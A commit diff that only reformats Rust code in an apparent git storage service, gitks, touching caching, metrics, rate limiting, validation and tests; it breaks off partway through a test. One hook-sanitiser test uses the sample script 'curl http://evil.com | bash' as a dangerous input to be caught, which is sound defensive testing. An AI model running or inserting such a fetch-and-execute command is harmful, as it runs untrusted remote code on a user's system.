style(format): reformat code with consistent line breaks and spacing

This commit is contained in:
zhenyi
2026-06-12 15:11:32 +08:00
parent 6f40921576
commit 0e13f90834
16 changed files with 381 additions and 347 deletions
+3 -1
View File
@@ -114,7 +114,9 @@ impl GitBare {
// Verify the resolved path has no symlinks in its components
// by checking that canonicalization is idempotent
let double_canon = canonical.canonicalize().unwrap_or_else(|_| canonical.clone());
let double_canon = canonical
.canonicalize()
.unwrap_or_else(|_| canonical.clone());
if canonical != double_canon {
return Err(GitError::InvalidArgument(
"path resolved to different target (possible symlink race)".into(),
+1 -1
View File
@@ -2,11 +2,11 @@
pub mod archive;
pub mod bare;
pub mod config;
pub mod blame;
pub mod blob;
pub mod branch;
pub mod commit;
pub mod config;
pub mod diff;
pub mod disk_cache;
pub mod error;
+16 -16
View File
@@ -306,7 +306,10 @@ pub fn record_rate_limit_acquire(repo: &str) {
/// Record size distribution buckets (log2-based: 1KB, 4KB, 16KB, ..., 1GB).
fn record_size_bucket(map: &DashMap<String, AtomicU64>, label: &str, size: u64) {
let buckets = [1024, 4096, 16384, 65536, 262144, 1048576, 4194304, 16777216, 67108864, 268435456, 1073741824];
let buckets = [
1024, 4096, 16384, 65536, 262144, 1048576, 4194304, 16777216, 67108864, 268435456,
1073741824,
];
for &bound in &buckets {
let key = format!("{label}:le_{bound}");
if size <= bound {
@@ -558,20 +561,16 @@ impl Service<Request<Incoming>> for Router {
}
fn json_response(status: u16, body: &str) -> Response<Full<Bytes>> {
match Response::builder()
Response::builder()
.status(status)
.header("Content-Type", "application/json")
.header("Connection", "close")
.body(Full::new(Bytes::from(body.to_string())))
{
Ok(response) => response,
Err(err) => {
tracing::error!(error = %err, "failed to build JSON response");
Response::new(Full::new(Bytes::from_static(
br#"{"error":"response build failed"}"#,
)))
}
}
.body(Full::new(Bytes::from(body.to_string()))).unwrap_or_else(|err| {
tracing::error!(error = %err, "failed to build JSON response");
Response::new(Full::new(Bytes::from_static(
br#"{"error":"response build failed"}"#,
)))
})
}
fn text_response(status: u16, content_type: &str, body: String) -> Response<Full<Bytes>> {
@@ -579,10 +578,11 @@ fn text_response(status: u16, content_type: &str, body: String) -> Response<Full
.status(status)
.header("Content-Type", content_type)
.header("Connection", "close")
.body(Full::new(Bytes::from(body))).unwrap_or_else(|err| {
tracing::error!(error = %err, "failed to build text response");
Response::new(Full::new(Bytes::from_static(b"response build failed")))
})
.body(Full::new(Bytes::from(body)))
.unwrap_or_else(|err| {
tracing::error!(error = %err, "failed to build text response");
Response::new(Full::new(Bytes::from_static(b"response build failed")))
})
}
async fn handle_request(req: Request<Incoming>) -> Result<Response<Full<Bytes>>, Infallible> {
+1 -2
View File
@@ -101,8 +101,7 @@ impl PackCache {
}
})
.await;
if result.is_err() {
}
if result.is_err() {}
});
Some(ReceiverStream::new(rx))
+1 -6
View File
@@ -61,8 +61,6 @@ fn get_max_concurrent() -> usize {
.unwrap_or_else(|e| e.into_inner())
}
/// A guard that holds a rate-limit permit. The permit is released on drop.
pub struct RateLimitGuard {
/// The semaphore permit. Dropping this releases the permit.
@@ -212,10 +210,7 @@ pub fn cleanup_idle_semaphores() {
});
if removed > 0 {
tracing::info!(
removed = removed,
"cleaned up idle rate-limit semaphores"
);
tracing::info!(removed = removed, "cleaned up idle rate-limit semaphores");
}
}
+5 -4
View File
@@ -34,8 +34,7 @@ pub fn validate_oid_hex(hex: &str) -> GitResult<()> {
if hex.is_empty() {
return Err(GitError::InvalidArgument("oid hex cannot be empty".into()));
}
if !(crate::config::MIN_OID_HEX_LENGTH..=crate::config::MAX_OID_HEX_LENGTH)
.contains(&hex.len())
if !(crate::config::MIN_OID_HEX_LENGTH..=crate::config::MAX_OID_HEX_LENGTH).contains(&hex.len())
{
return Err(GitError::InvalidArgument(format!(
"oid hex length must be {}..={} chars: {}",
@@ -127,7 +126,8 @@ pub fn validate_revision(rev: &str) -> GitResult<()> {
if depth > crate::config::MAX_ANCESTRY_DEPTH {
return Err(GitError::InvalidArgument(format!(
"~N depth too large: {} (max {})",
depth, crate::config::MAX_ANCESTRY_DEPTH
depth,
crate::config::MAX_ANCESTRY_DEPTH
)));
}
}
@@ -151,7 +151,8 @@ pub fn validate_revision(rev: &str) -> GitResult<()> {
if depth > crate::config::MAX_ANCESTRY_DEPTH {
return Err(GitError::InvalidArgument(format!(
"^N depth too large: {} (max {})",
depth, crate::config::MAX_ANCESTRY_DEPTH
depth,
crate::config::MAX_ANCESTRY_DEPTH
)));
}
}
+4 -12
View File
@@ -30,7 +30,9 @@ use std::sync::{Arc, OnceLock};
use moka::sync::Cache;
use prost::Message;
use crate::config::{CACHE_ENTRY_OVERHEAD as ENTRY_OVERHEAD, CACHE_MAX_TTL, CACHE_MAX_WEIGHT, CACHE_TTI};
use crate::config::{
CACHE_ENTRY_OVERHEAD as ENTRY_OVERHEAD, CACHE_MAX_TTL, CACHE_MAX_WEIGHT, CACHE_TTI,
};
struct CacheState {
store: Cache<Vec<u8>, Vec<u8>>,
@@ -75,7 +77,6 @@ fn cache() -> &'static Cache<Vec<u8>, Vec<u8>> {
&state().store
}
struct RepoKeyIndex {
repo_to_keys: DashMap<String, Vec<Arc<Vec<u8>>>>,
}
@@ -96,7 +97,6 @@ fn track_cache_key(repo_path: &str, key: Arc<Vec<u8>>) {
.push(key);
}
/// Encode a structured cache key.
///
/// Format: `namespace_len(u8) + namespace + repo_path_len(u16 LE) + repo_path + request_proto`
@@ -136,7 +136,6 @@ fn decode_namespace(key: &[u8]) -> &str {
std::str::from_utf8(&key[1..end]).unwrap_or("unknown")
}
/// Cache a single protobuf response.
///
/// On cache hit, decodes and returns the cached response.
@@ -208,7 +207,6 @@ where
Ok(response)
}
/// Cache a `Vec<Item>` protobuf response using length-delimited encoding.
///
/// Each item is stored sequentially with length-delimited framing, allowing
@@ -297,10 +295,7 @@ where
let response = build()?;
let build_elapsed = start.elapsed();
let total_est: usize = response
.iter()
.map(|item| item.encoded_len() + 10)
.sum();
let total_est: usize = response.iter().map(|item| item.encoded_len() + 10).sum();
let mut data = Vec::with_capacity(total_est);
let mut encode_ok = true;
for item in &response {
@@ -330,7 +325,6 @@ where
Ok(response)
}
/// Encode a protobuf request into a byte vector.
#[inline]
fn encode_request<Req: Message>(request: &Req) -> Vec<u8> {
@@ -341,7 +335,6 @@ fn encode_request<Req: Message>(request: &Req) -> Vec<u8> {
buf
}
/// Invalidate all cache entries for a specific repository.
///
/// Uses the structured key format to extract and match repository paths
@@ -370,7 +363,6 @@ pub(crate) fn invalidate_repo(relative_path: &str) {
}
}
use crate::pb::{ObjectSelector, object_selector};
/// Returns true if the selector is an OID-based reference.
+4 -4
View File
@@ -165,9 +165,7 @@ impl GitksService {
.unwrap_or_else(|_| self.repo_prefix.clone());
let canonical = match candidate.canonicalize() {
Ok(canon) => {
canon
}
Ok(canon) => canon,
Err(_) => {
let parent = candidate.parent().unwrap_or(&self.repo_prefix);
let filename = candidate.file_name().ok_or_else(|| {
@@ -198,7 +196,9 @@ impl GitksService {
));
}
let double_canon = canonical.canonicalize().unwrap_or_else(|_| canonical.clone());
let double_canon = canonical
.canonicalize()
.unwrap_or_else(|_| canonical.clone());
if canonical != double_canon {
return Err(tonic::Status::invalid_argument(
"path resolved to different target (possible symlink race)",
+133 -106
View File
@@ -522,208 +522,233 @@ async fn test_oid_binary_encoding() {
assert_eq!(hex_from_bytes, oid.hex);
}
#[test]
fn test_count_commits_head() {
let (_dir, gb) = common::setup_bare_repo();
let resp = gb.count_commits(CountCommitsRequest {
repository: Some(hdr()),
revision: String::new(),
path: String::new(),
since: String::new(),
until: String::new(),
}).unwrap();
let resp = gb
.count_commits(CountCommitsRequest {
repository: Some(hdr()),
revision: String::new(),
path: String::new(),
since: String::new(),
until: String::new(),
})
.unwrap();
assert_eq!(resp.count, 4);
}
#[test]
fn test_count_commits_with_revision() {
let (_dir, gb) = common::setup_bare_repo();
let resp = gb.count_commits(CountCommitsRequest {
repository: Some(hdr()),
revision: "feature".into(),
path: String::new(),
since: String::new(),
until: String::new(),
}).unwrap();
let resp = gb
.count_commits(CountCommitsRequest {
repository: Some(hdr()),
revision: "feature".into(),
path: String::new(),
since: String::new(),
until: String::new(),
})
.unwrap();
assert_eq!(resp.count, 1);
}
#[test]
fn test_count_commits_with_path() {
let (_dir, gb) = common::setup_bare_repo();
let resp = gb.count_commits(CountCommitsRequest {
repository: Some(hdr()),
revision: "main".into(),
path: "README.md".into(),
since: String::new(),
until: String::new(),
}).unwrap();
let resp = gb
.count_commits(CountCommitsRequest {
repository: Some(hdr()),
revision: "main".into(),
path: "README.md".into(),
since: String::new(),
until: String::new(),
})
.unwrap();
assert!(resp.count >= 1);
}
#[test]
fn test_count_diverging_commits() {
let (_dir, gb) = common::setup_bare_repo();
let resp = gb.count_diverging_commits(CountDivergingCommitsRequest {
repository: Some(hdr()),
left: "feature".into(),
right: "main".into(),
}).unwrap();
let resp = gb
.count_diverging_commits(CountDivergingCommitsRequest {
repository: Some(hdr()),
left: "feature".into(),
right: "main".into(),
})
.unwrap();
assert_eq!(resp.left_count, 0);
assert_eq!(resp.right_count, 3);
}
#[test]
fn test_find_commit_by_oid() {
let (_dir, gb) = common::setup_bare_repo();
let oid = common::get_main_oid(&gb);
let commit = gb.find_commit(FindCommitRequest {
repository: Some(hdr()),
revision: common::oid_selector(&oid),
include_stats: false,
}).unwrap();
let commit = gb
.find_commit(FindCommitRequest {
repository: Some(hdr()),
revision: common::oid_selector(&oid),
include_stats: false,
})
.unwrap();
assert!(!commit.oid.as_ref().unwrap().hex.is_empty());
}
#[test]
fn test_find_commit_by_revision() {
let (_dir, gb) = common::setup_bare_repo();
let commit = gb.find_commit(FindCommitRequest {
repository: Some(hdr()),
revision: common::rev_selector("main"),
include_stats: false,
}).unwrap();
let commit = gb
.find_commit(FindCommitRequest {
repository: Some(hdr()),
revision: common::rev_selector("main"),
include_stats: false,
})
.unwrap();
assert!(!commit.oid.as_ref().unwrap().hex.is_empty());
}
#[test]
fn test_find_commit_default_head() {
let (_dir, gb) = common::setup_bare_repo();
let commit = gb.find_commit(FindCommitRequest {
repository: Some(hdr()),
revision: None,
include_stats: false,
}).unwrap();
let commit = gb
.find_commit(FindCommitRequest {
repository: Some(hdr()),
revision: None,
include_stats: false,
})
.unwrap();
assert!(!commit.oid.as_ref().unwrap().hex.is_empty());
}
#[test]
fn test_list_commits_by_oid() {
let (_dir, gb) = common::setup_bare_repo();
let oid = common::get_main_oid(&gb);
let oid_bytes = gitks::oid::hex_to_bytes(&oid).unwrap();
let resp = gb.list_commits_by_oid(ListCommitsByOidRequest {
repository: Some(hdr()),
oids: vec![oid_bytes],
include_stats: false,
}).unwrap();
let resp = gb
.list_commits_by_oid(ListCommitsByOidRequest {
repository: Some(hdr()),
oids: vec![oid_bytes],
include_stats: false,
})
.unwrap();
assert_eq!(resp.commits.len(), 1);
}
#[test]
fn test_list_commits_by_oid_empty() {
let (_dir, gb) = common::setup_bare_repo();
let resp = gb.list_commits_by_oid(ListCommitsByOidRequest {
repository: Some(hdr()),
oids: vec![],
include_stats: false,
}).unwrap();
let resp = gb
.list_commits_by_oid(ListCommitsByOidRequest {
repository: Some(hdr()),
oids: vec![],
include_stats: false,
})
.unwrap();
assert!(resp.commits.is_empty());
}
#[test]
fn test_commits_by_message_basic() {
let (_dir, gb) = common::setup_bare_repo();
let resp = gb.commits_by_message(CommitsByMessageRequest {
repository: Some(hdr()),
query: "initial".into(),
revision: String::new(),
limit: 10,
offset: 0,
case_insensitive: false,
}).unwrap();
let resp = gb
.commits_by_message(CommitsByMessageRequest {
repository: Some(hdr()),
query: "initial".into(),
revision: String::new(),
limit: 10,
offset: 0,
case_insensitive: false,
})
.unwrap();
assert_eq!(resp.commits.len(), 1);
}
#[test]
fn test_commits_by_message_case_insensitive() {
let (_dir, gb) = common::setup_bare_repo();
let resp = gb.commits_by_message(CommitsByMessageRequest {
repository: Some(hdr()),
query: "INITIAL".into(),
revision: String::new(),
limit: 10,
offset: 0,
case_insensitive: true,
}).unwrap();
let resp = gb
.commits_by_message(CommitsByMessageRequest {
repository: Some(hdr()),
query: "INITIAL".into(),
revision: String::new(),
limit: 10,
offset: 0,
case_insensitive: true,
})
.unwrap();
assert_eq!(resp.commits.len(), 1);
}
#[test]
fn test_commits_by_message_no_match() {
let (_dir, gb) = common::setup_bare_repo();
let resp = gb.commits_by_message(CommitsByMessageRequest {
repository: Some(hdr()),
query: "zzzznonexistent".into(),
revision: String::new(),
limit: 10,
offset: 0,
case_insensitive: false,
}).unwrap();
let resp = gb
.commits_by_message(CommitsByMessageRequest {
repository: Some(hdr()),
query: "zzzznonexistent".into(),
revision: String::new(),
limit: 10,
offset: 0,
case_insensitive: false,
})
.unwrap();
assert!(resp.commits.is_empty());
}
#[test]
fn test_check_objects_exist() {
let (_dir, gb) = common::setup_bare_repo();
let oid = common::get_main_oid(&gb);
let resp = gb.check_objects_exist(CheckObjectsExistRequest {
repository: Some(hdr()),
revisions: vec![oid.clone(), "HEAD".into(), "nonexistent-branch".into()],
}).unwrap();
let resp = gb
.check_objects_exist(CheckObjectsExistRequest {
repository: Some(hdr()),
revisions: vec![oid.clone(), "HEAD".into(), "nonexistent-branch".into()],
})
.unwrap();
assert_eq!(resp.revisions.len(), 3);
assert!(resp.revisions[0].exists);
assert!(resp.revisions[1].exists);
assert!(!resp.revisions[2].exists);
}
#[test]
fn test_get_commit_stats() {
let (_dir, gb) = common::setup_bare_repo();
let oid = common::get_main_oid(&gb);
let stats = gb.get_commit_stats(GetCommitStatsRequest {
repository: Some(hdr()),
revision: common::oid_selector(&oid),
}).unwrap();
let stats = gb
.get_commit_stats(GetCommitStatsRequest {
repository: Some(hdr()),
revision: common::oid_selector(&oid),
})
.unwrap();
assert!(stats.changed_files >= 1);
}
#[test]
fn test_get_commit_stats_default() {
let (_dir, gb) = common::setup_bare_repo();
let stats = gb.get_commit_stats(GetCommitStatsRequest {
repository: Some(hdr()),
revision: None,
}).unwrap();
let stats = gb
.get_commit_stats(GetCommitStatsRequest {
repository: Some(hdr()),
revision: None,
})
.unwrap();
assert!(stats.changed_files >= 1);
}
#[test]
fn test_last_commit_for_path() {
let (_dir, gb) = common::setup_bare_repo();
let resp = gb.last_commit_for_path(LastCommitForPathRequest {
repository: Some(hdr()),
path: "README.md".into(),
revision: "main".into(),
literal_pathspec: false,
}).unwrap();
let resp = gb
.last_commit_for_path(LastCommitForPathRequest {
repository: Some(hdr()),
path: "README.md".into(),
revision: "main".into(),
literal_pathspec: false,
})
.unwrap();
assert!(resp.commit.is_some());
assert_eq!(resp.path, "README.md");
}
@@ -731,11 +756,13 @@ fn test_last_commit_for_path() {
#[test]
fn test_last_commit_for_path_nonexistent() {
let (_dir, gb) = common::setup_bare_repo();
let resp = gb.last_commit_for_path(LastCommitForPathRequest {
repository: Some(hdr()),
path: "nonexistent.txt".into(),
revision: "main".into(),
literal_pathspec: false,
}).unwrap();
let resp = gb
.last_commit_for_path(LastCommitForPathRequest {
repository: Some(hdr()),
path: "nonexistent.txt".into(),
revision: "main".into(),
literal_pathspec: false,
})
.unwrap();
assert!(resp.commit.is_none());
}
+5 -7
View File
@@ -203,13 +203,11 @@ pub fn get_feature_oid(gb: &GitBare) -> String {
#[allow(dead_code)]
pub fn oid_selector(hex: &str) -> Option<gitks::pb::ObjectSelector> {
Some(gitks::pb::ObjectSelector {
selector: Some(gitks::pb::object_selector::Selector::Oid(
gitks::pb::Oid {
hex: hex.to_string(),
value: vec![],
format: 0,
},
)),
selector: Some(gitks::pb::object_selector::Selector::Oid(gitks::pb::Oid {
hex: hex.to_string(),
value: vec![],
format: 0,
})),
})
}
+38 -31
View File
@@ -269,18 +269,19 @@ async fn test_get_patch() {
assert!(combined.contains("diff --git") || combined.contains("@@"));
}
#[test]
fn test_find_changed_paths() {
let (_dir, gb) = common::setup_bare_repo();
let feature_oid = common::get_feature_oid(&gb);
let main_oid = common::get_main_oid(&gb);
let resp = gb.find_changed_paths(FindChangedPathsRequest {
repository: Some(hdr()),
base: feature_oid,
head: main_oid,
paths: vec![],
}).unwrap();
let resp = gb
.find_changed_paths(FindChangedPathsRequest {
repository: Some(hdr()),
base: feature_oid,
head: main_oid,
paths: vec![],
})
.unwrap();
assert!(!resp.paths.is_empty());
}
@@ -288,27 +289,30 @@ fn test_find_changed_paths() {
fn test_find_changed_paths_same_ref() {
let (_dir, gb) = common::setup_bare_repo();
let oid = common::get_main_oid(&gb);
let resp = gb.find_changed_paths(FindChangedPathsRequest {
repository: Some(hdr()),
base: oid.clone(),
head: oid,
paths: vec![],
}).unwrap();
let resp = gb
.find_changed_paths(FindChangedPathsRequest {
repository: Some(hdr()),
base: oid.clone(),
head: oid,
paths: vec![],
})
.unwrap();
assert!(resp.paths.is_empty());
}
#[test]
fn test_raw_diff() {
let (_dir, gb) = common::setup_bare_repo();
let feature_oid = common::get_feature_oid(&gb);
let main_oid = common::get_main_oid(&gb);
let chunks = gb.raw_diff(RawDiffRequest {
repository: Some(hdr()),
base: feature_oid,
head: main_oid,
options: None,
}).unwrap();
let chunks = gb
.raw_diff(RawDiffRequest {
repository: Some(hdr()),
base: feature_oid,
head: main_oid,
options: None,
})
.unwrap();
assert!(!chunks.is_empty());
let combined: Vec<u8> = chunks.iter().flat_map(|c| c.data.clone()).collect();
let text = String::from_utf8_lossy(&combined);
@@ -320,27 +324,30 @@ fn test_raw_patch() {
let (_dir, gb) = common::setup_bare_repo();
let feature_oid = common::get_feature_oid(&gb);
let main_oid = common::get_main_oid(&gb);
let chunks = gb.raw_patch(RawPatchRequest {
repository: Some(hdr()),
base: feature_oid,
head: main_oid,
}).unwrap();
let chunks = gb
.raw_patch(RawPatchRequest {
repository: Some(hdr()),
base: feature_oid,
head: main_oid,
})
.unwrap();
assert!(!chunks.is_empty());
let combined: Vec<u8> = chunks.iter().flat_map(|c| c.data.clone()).collect();
let text = String::from_utf8_lossy(&combined);
assert!(text.contains("From"));
}
#[test]
fn test_get_raw_changes() {
let (_dir, gb) = common::setup_bare_repo();
let feature_oid = common::get_feature_oid(&gb);
let main_oid = common::get_main_oid(&gb);
let resp = gb.get_raw_changes(GetRawChangesRequest {
repository: Some(hdr()),
base: feature_oid,
head: main_oid,
}).unwrap();
let resp = gb
.get_raw_changes(GetRawChangesRequest {
repository: Some(hdr()),
base: feature_oid,
head: main_oid,
})
.unwrap();
assert!(!resp.changes.is_empty());
}
+8 -25
View File
@@ -1,11 +1,14 @@
//! Copyright (c) 2022-2026 GitDataAi All rights reserved.
#[test]
fn test_metrics_render_all_counters() {
use gitks::metrics::*;
record_request("TestInfra/Method", "ok", std::time::Duration::from_millis(42));
record_request(
"TestInfra/Method",
"ok",
std::time::Duration::from_millis(42),
);
record_cache_op("moka", "hit", std::time::Duration::from_millis(0));
record_cache_eviction("infra_ns", "expired");
record_cache_hit_ns("infra_ns");
@@ -13,11 +16,7 @@ fn test_metrics_render_all_counters() {
record_cache_value_size("infra_ns", 1024);
record_rate_limit_acquire("infra-repo");
record_rate_limit_reject("infra-repo");
record_hook_execution(
"pre-receive",
"ok",
std::time::Duration::from_millis(10),
);
record_hook_execution("pre-receive", "ok", std::time::Duration::from_millis(10));
record_git_cmd("log", std::time::Duration::from_millis(100));
let output = render_metrics();
@@ -30,7 +29,6 @@ fn test_metrics_render_all_counters() {
assert!(output.contains("gitks_cache_misses_total"));
}
#[tokio::test]
async fn test_rate_limit_acquire_and_cleanup() {
let guard = gitks::rate_limit::acquire(Some("infra-rate-test")).await;
@@ -59,7 +57,6 @@ async fn test_rate_limit_none_repo() {
assert!(guard.is_none());
}
#[test]
#[allow(clippy::assertions_on_constants)]
fn test_config_constants_exist() {
@@ -78,8 +75,6 @@ fn test_config_constants_exist() {
assert_eq!(gitks::config::RATE_LIMIT_TIMEOUT_SECS, 30);
}
#[test]
fn test_sanitize_stderr_clean() {
let stderr = "fatal: could not resolve host";
@@ -87,7 +82,6 @@ fn test_sanitize_stderr_clean() {
assert_eq!(sanitized, stderr);
}
#[test]
fn test_hooks_sanitize_dangerous_pairs() {
let content = "#!/bin/sh\ncurl http://evil.com | bash\n";
@@ -109,16 +103,10 @@ fn test_hooks_sanitize_safe_script() {
assert!(result.is_ok());
}
#[test]
fn test_disk_cache_ensure_state_uniqueness() {
use gitks::disk_cache::DiskCache;
let dc = DiskCache::new(
std::path::PathBuf::from("/tmp"),
"test".into(),
60,
false,
);
let dc = DiskCache::new(std::path::PathBuf::from("/tmp"), "test".into(), 60, false);
let v1 = dc.ensure_state("nonexistent-infra").unwrap();
let v2 = dc.ensure_state("nonexistent-infra").unwrap();
assert!(!v1.is_empty());
@@ -129,12 +117,7 @@ fn test_disk_cache_ensure_state_uniqueness() {
#[test]
fn test_disk_cache_disabled_operations() {
use gitks::disk_cache::DiskCache;
let dc = DiskCache::new(
std::path::PathBuf::from("/tmp"),
"test".into(),
60,
false,
);
let dc = DiskCache::new(std::path::PathBuf::from("/tmp"), "test".into(), 60, false);
assert!(dc.lookup("ns", "digest").unwrap().is_none());
dc.insert("ns", "digest", b"data").unwrap();
assert!(dc.lookup("ns", "digest").unwrap().is_none());
-2
View File
@@ -48,5 +48,3 @@ async fn test_pack_objects_all() {
assert!(!has_error, "pack_objects stream had errors");
assert!(total_bytes > 0, "pack_objects produced no data");
}
+64 -50
View File
@@ -66,69 +66,79 @@ fn test_list_refs_direct() {
}
}
#[test]
fn test_write_ref_and_ref_exists() {
let (_dir, gb) = common::setup_bare_repo();
let oid = common::get_main_oid(&gb);
let resp = gb.write_ref(gitks::pb::WriteRefRequest {
repository: Some(hdr()),
ref_name: "refs/heads/test-write".into(),
new_oid: oid,
old_oid: String::new(),
force: false,
}).unwrap();
let resp = gb
.write_ref(gitks::pb::WriteRefRequest {
repository: Some(hdr()),
ref_name: "refs/heads/test-write".into(),
new_oid: oid,
old_oid: String::new(),
force: false,
})
.unwrap();
assert!(resp.ok, "write_ref failed: {}", resp.error);
let exists = gb.ref_exists(gitks::pb::RefExistsRequest {
repository: Some(hdr()),
ref_name: "refs/heads/test-write".into(),
}).unwrap();
let exists = gb
.ref_exists(gitks::pb::RefExistsRequest {
repository: Some(hdr()),
ref_name: "refs/heads/test-write".into(),
})
.unwrap();
assert!(exists.exists);
let not_exists = gb.ref_exists(gitks::pb::RefExistsRequest {
repository: Some(hdr()),
ref_name: "refs/heads/nonexistent".into(),
}).unwrap();
let not_exists = gb
.ref_exists(gitks::pb::RefExistsRequest {
repository: Some(hdr()),
ref_name: "refs/heads/nonexistent".into(),
})
.unwrap();
assert!(!not_exists.exists);
}
#[test]
fn test_update_references_batch() {
let (_dir, gb) = common::setup_bare_repo();
let oid = common::get_main_oid(&gb);
let resp = gb.update_references(gitks::pb::UpdateReferencesRequest {
repository: Some(hdr()),
updates: vec![
gitks::pb::RefUpdateEntry {
ref_name: "refs/heads/batch-a".into(),
new_oid: oid.clone(),
old_oid: String::new(),
},
gitks::pb::RefUpdateEntry {
ref_name: "refs/heads/batch-b".into(),
new_oid: oid,
old_oid: String::new(),
},
],
}).unwrap();
let resp = gb
.update_references(gitks::pb::UpdateReferencesRequest {
repository: Some(hdr()),
updates: vec![
gitks::pb::RefUpdateEntry {
ref_name: "refs/heads/batch-a".into(),
new_oid: oid.clone(),
old_oid: String::new(),
},
gitks::pb::RefUpdateEntry {
ref_name: "refs/heads/batch-b".into(),
new_oid: oid,
old_oid: String::new(),
},
],
})
.unwrap();
assert!(resp.failed_refs.is_empty(), "error: {}", resp.error);
let a = gb.ref_exists(gitks::pb::RefExistsRequest {
repository: Some(hdr()),
ref_name: "refs/heads/batch-a".into(),
}).unwrap();
let a = gb
.ref_exists(gitks::pb::RefExistsRequest {
repository: Some(hdr()),
ref_name: "refs/heads/batch-a".into(),
})
.unwrap();
assert!(a.exists);
}
#[test]
fn test_update_references_empty() {
let (_dir, gb) = common::setup_bare_repo();
let resp = gb.update_references(gitks::pb::UpdateReferencesRequest {
repository: Some(hdr()),
updates: vec![],
}).unwrap();
let resp = gb
.update_references(gitks::pb::UpdateReferencesRequest {
repository: Some(hdr()),
updates: vec![],
})
.unwrap();
assert!(resp.failed_refs.is_empty());
}
@@ -142,22 +152,26 @@ fn test_delete_refs() {
new_oid: oid,
old_oid: String::new(),
force: false,
}).unwrap();
})
.unwrap();
let resp = gb.delete_refs(gitks::pb::DeleteRefsRequest {
repository: Some(hdr()),
ref_names: vec!["refs/heads/to-delete".into()],
}).unwrap();
let resp = gb
.delete_refs(gitks::pb::DeleteRefsRequest {
repository: Some(hdr()),
ref_names: vec!["refs/heads/to-delete".into()],
})
.unwrap();
assert!(resp.failed_refs.is_empty());
let exists = gb.ref_exists(gitks::pb::RefExistsRequest {
repository: Some(hdr()),
ref_name: "refs/heads/to-delete".into(),
}).unwrap();
let exists = gb
.ref_exists(gitks::pb::RefExistsRequest {
repository: Some(hdr()),
ref_name: "refs/heads/to-delete".into(),
})
.unwrap();
assert!(!exists.exists);
}
#[test]
fn test_find_default_branch_name() {
let (_dir, gb) = common::setup_bare_repo();
+98 -74
View File
@@ -329,29 +329,32 @@ async fn test_exists_nonexistent_repo() {
assert!(!result.exists);
}
#[test]
fn test_find_merge_base() {
let (_dir, gb) = common::setup_bare_repo();
let main_oid = common::get_main_oid(&gb);
let feature_oid = common::get_feature_oid(&gb);
let resp = gb.find_merge_base(FindMergeBaseRequest {
repository: Some(header(&gb)),
revisions: vec![
main_oid.as_bytes().to_vec(),
feature_oid.as_bytes().to_vec(),
],
}).unwrap();
let resp = gb
.find_merge_base(FindMergeBaseRequest {
repository: Some(header(&gb)),
revisions: vec![
main_oid.as_bytes().to_vec(),
feature_oid.as_bytes().to_vec(),
],
})
.unwrap();
assert!(!resp.base_oid.is_empty());
}
#[test]
fn test_find_merge_base_empty() {
let (_dir, gb) = common::setup_bare_repo();
let resp = gb.find_merge_base(FindMergeBaseRequest {
repository: Some(header(&gb)),
revisions: vec![],
}).unwrap();
let resp = gb
.find_merge_base(FindMergeBaseRequest {
repository: Some(header(&gb)),
revisions: vec![],
})
.unwrap();
assert!(resp.base_oid.is_empty());
}
@@ -359,10 +362,12 @@ fn test_find_merge_base_empty() {
fn test_find_merge_base_single() {
let (_dir, gb) = common::setup_bare_repo();
let oid = common::get_main_oid(&gb);
let resp = gb.find_merge_base(FindMergeBaseRequest {
repository: Some(header(&gb)),
revisions: vec![oid.as_bytes().to_vec()],
}).unwrap();
let resp = gb
.find_merge_base(FindMergeBaseRequest {
repository: Some(header(&gb)),
revisions: vec![oid.as_bytes().to_vec()],
})
.unwrap();
assert!(!resp.base_oid.is_empty());
}
@@ -371,11 +376,13 @@ fn test_commit_is_ancestor() {
let (_dir, gb) = common::setup_bare_repo();
let feature_oid = common::get_feature_oid(&gb);
let main_oid = common::get_main_oid(&gb);
let resp = gb.commit_is_ancestor(CommitIsAncestorRequest {
repository: Some(header(&gb)),
ancestor_oid: feature_oid,
descendant_oid: main_oid,
}).unwrap();
let resp = gb
.commit_is_ancestor(CommitIsAncestorRequest {
repository: Some(header(&gb)),
ancestor_oid: feature_oid,
descendant_oid: main_oid,
})
.unwrap();
assert!(resp.is_ancestor);
}
@@ -384,23 +391,29 @@ fn test_commit_is_ancestor_false() {
let (_dir, gb) = common::setup_bare_repo();
let main_oid = common::get_main_oid(&gb);
let feature_oid = common::get_feature_oid(&gb);
let resp = gb.commit_is_ancestor(CommitIsAncestorRequest {
repository: Some(header(&gb)),
ancestor_oid: main_oid,
descendant_oid: feature_oid,
}).unwrap();
let resp = gb
.commit_is_ancestor(CommitIsAncestorRequest {
repository: Some(header(&gb)),
ancestor_oid: main_oid,
descendant_oid: feature_oid,
})
.unwrap();
assert!(!resp.is_ancestor);
}
#[test]
fn test_objects_size() {
let (_dir, gb) = common::setup_bare_repo();
let oid = common::get_main_oid(&gb);
let resp = gb.objects_size(ObjectsSizeRequest {
repository: Some(header(&gb)),
oids: vec![oid.clone(), "0000000000000000000000000000000000000000".into()],
}).unwrap();
let resp = gb
.objects_size(ObjectsSizeRequest {
repository: Some(header(&gb)),
oids: vec![
oid.clone(),
"0000000000000000000000000000000000000000".into(),
],
})
.unwrap();
assert_eq!(resp.sizes.len(), 2);
assert!(resp.sizes[0].found);
assert!(resp.sizes[0].size > 0);
@@ -409,10 +422,12 @@ fn test_objects_size() {
#[test]
fn test_objects_size_empty() {
let (_dir, gb) = common::setup_bare_repo();
let resp = gb.objects_size(ObjectsSizeRequest {
repository: Some(header(&gb)),
oids: vec![],
}).unwrap();
let resp = gb
.objects_size(ObjectsSizeRequest {
repository: Some(header(&gb)),
oids: vec![],
})
.unwrap();
assert!(resp.sizes.is_empty());
}
@@ -423,7 +438,6 @@ fn test_repository_size() {
assert!(resp.size_bytes > 0);
}
#[test]
fn test_find_license_no_license() {
let (_dir, gb) = common::setup_bare_repo();
@@ -431,51 +445,57 @@ fn test_find_license_no_license() {
assert!(resp.license_spdx.is_empty());
}
#[test]
fn test_optimize_repository_heuristic() {
let (_dir, gb) = common::setup_bare_repo();
let resp = gb.optimize_repository(OptimizeRepositoryRequest {
repository: Some(header(&gb)),
strategy: OptimizeStrategy::Heuristic as i32,
}).unwrap();
let resp = gb
.optimize_repository(OptimizeRepositoryRequest {
repository: Some(header(&gb)),
strategy: OptimizeStrategy::Heuristic as i32,
})
.unwrap();
assert!(resp.ok);
}
#[test]
fn test_optimize_repository_incremental() {
let (_dir, gb) = common::setup_bare_repo();
let resp = gb.optimize_repository(OptimizeRepositoryRequest {
repository: Some(header(&gb)),
strategy: OptimizeStrategy::Incremental as i32,
}).unwrap();
let resp = gb
.optimize_repository(OptimizeRepositoryRequest {
repository: Some(header(&gb)),
